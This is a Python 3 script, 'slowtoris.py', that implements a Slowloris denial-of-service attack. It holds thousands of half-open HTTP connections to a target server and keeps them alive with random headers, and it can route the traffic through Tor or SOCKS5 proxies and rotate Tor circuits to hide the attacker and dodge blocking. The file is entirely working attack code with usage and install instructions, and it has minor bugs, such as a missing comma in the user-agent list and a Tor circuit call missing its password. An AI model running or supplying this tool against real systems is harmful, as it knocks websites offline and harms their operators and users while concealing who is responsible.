#!/usr/bin/env python3

'''

slowtoris.py - Slow Loris implementation in Python3 with support for Tor and SOCKS5 proxies.

--

Gabriel Duque - 2017

'''

import click
import socket
import logging
import time
from random import randint, choice
from stem import Signal
from stem.control import Controller

# Start tor controller on 9051 to change circuits
controller = Controller.from_port(port = 9051)

# Initializes a connection with specified options
def init_connection(target, port, randomize, user_agents, tor):
    # Create the new socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    # Connect to target
    sock.connect((target, port))
    # Send request
    sock.send("GET /?{} HTTP/1.1\r\n".format(randint(0, 2000)).encode("utf-8"))
    # Randomize user agent if desired and send user agents package
    if randomize:
        sock.send("User-Agent: {}\r\n".format(choice(user_agents)).encode("utf-8"))
    else:
        sock.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
    # Send requested language package
    sock.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
    # Return the conected socket
    return sock

# Get new tor circuit

def get_new_tor_circuit(password):
    controller.authenticate(password)
    controller.signal(Signal.NEWNYM)
    return 0

# Use click to handle arguments and switches

@click.command()
@click.option('--port', '-p', default=80, help="Port to attack on the remote target. Default is 80.")
@click.option('--sockets', '-s', default=10000, help="Number of sockets to open with the remote target.")
@click.option('--randomize', '-r', is_flag=True, help="Randomize user agents for every new socket.")
@click.option('--tor', '-T', help="Open the connections the connections through the Tor network by using localhost:9050 as a SOCKS5 proxy. The value here is the PASSWORD for the tor controller assumed running on 9051. If you wish to use the Tor network through another host or port you must use the -x option.")
@click.option('--proxy', '-x', help="Usage: -x proxy-host:proxy-port .Use a SOCKS5 proxy to communicate with the target.")
@click.option('--quiet', '-q', is_flag=True, help="Run the script in quiet mode removing all output.")
@click.argument('target', required=1)
def attack(target, port, sockets, randomize, tor, proxy, quiet):
    """A Slow Loris attack implementation in Python3 with support for the Tor network and SOCKS5 proxies.\n
    You must have the click Python3 module which can be installed with pip:\n
        $ sudo pip3 install click\n
    You must have the socks Python3 module which can be installed through various packages by using pip, we suggest PySocks:\n
        $ sudo pip3 install PySocks\n
    You can view the usage of this script by running:\n 
        $ ./slowtoris.py --help\n
    If you wish to use the Tor network, tor must be installed and the service must be started.\n
    Installation:\n
        Ubuntu/Debian:  https://www.torproject.org/docs/debian.html.en\n
        Arch Linux:     # pacman -S tor\n
        Gentoo Linux:   # emerge --ask --verbose net-vpn/tor\n
        CentOS/Fedora:  # yum install tor\n
    Starting the tor service:\n
        If you do not know if you are using Systemd or OpenRC you are very probably using Systemd.\n
        Systemd: # systemctl start tor\n
        OpenRC:  # rc-service tor start"""

    # Set the verbose level and format to view status of the attack
    if not quiet:
        logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
    else:
        logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)

    # Import socks module for proxy usage and parse proxy argument
    if tor:
        try:
            import socks
            socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 9050)
            socket.socket = socks.socksocket
            logging.info("Tor enabled on localhost:9050")
        except ImportError:
            logging.error("Socks proxy library not found...")

    # Import socks module for proxy usage and parse proxy argument
    elif proxy:
        try:
            import socks
            proxy_host = proxy.split(":")[0]
            proxy_port = proxy.split(":")[1]
            socks.set_default_proxy(socks.SOCKS5, proxy_host, int(proxy_port))
            socket.socket = socks.socksocket
            logging.info("SOCKS5 proxy enabled on "+proxy_host+":"+proxy_port)
        except ImportError:
            logging.error("Socks proxy library not found...")

    socket_list = []

    user_agents = [
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
        "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
        "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
    ]

    # Count sockets per circuit
    if tor:
        current_circuit = 0

    # Inform user the script has started
    logging.info("Target: %s \tSockets: %s", target, sockets)

    logging.info("Creating sockets...")

    # Start connecting with the target
    for i in range(sockets):
        if tor:
            if current_circuit >= 250:
                current_circuit = get_new_tor_circuit(tor)
        try:
            logging.debug("Creating socket number %s", i)
            sock = init_connection(target, port, randomize, user_agents, tor)
        except socket.error:
            break
        socket_list.append(sock)
        # Update number of sockets of the circuit
        if tor:
            current_circuit +=1

    # Send the keep-alive messages so the target doesn't close the connections
    while True:
        if tor:
            if current_circuit >= 250:
                current_circuit = get_new_tor_circuit()
        logging.info("Keeping connections alive... Socket count: %s", len(socket_list))
        for sock in list(socket_list):
            try:
                sock.send("X-a: {}\r\n".format(randint(1, 5000)).encode("utf-8"))
            except socket.error:
                # Remove socket from list if dead connection
                socket_list.remove(sock)

        # Recreate dead sockets
        logging.debug("Recreating dead sockets...")
        for i in range(sockets - len(socket_list)):
            try:
                sock = init_connection(target, port, randomize, user_agents, tor)
                if sock:
                    socket_list.append(sock)
                    # Update number of sockets of the circuit
                    if tor:
                        current_circuit +=1
            except socket.error:
                break


if __name__ == '__main__':
    attack()
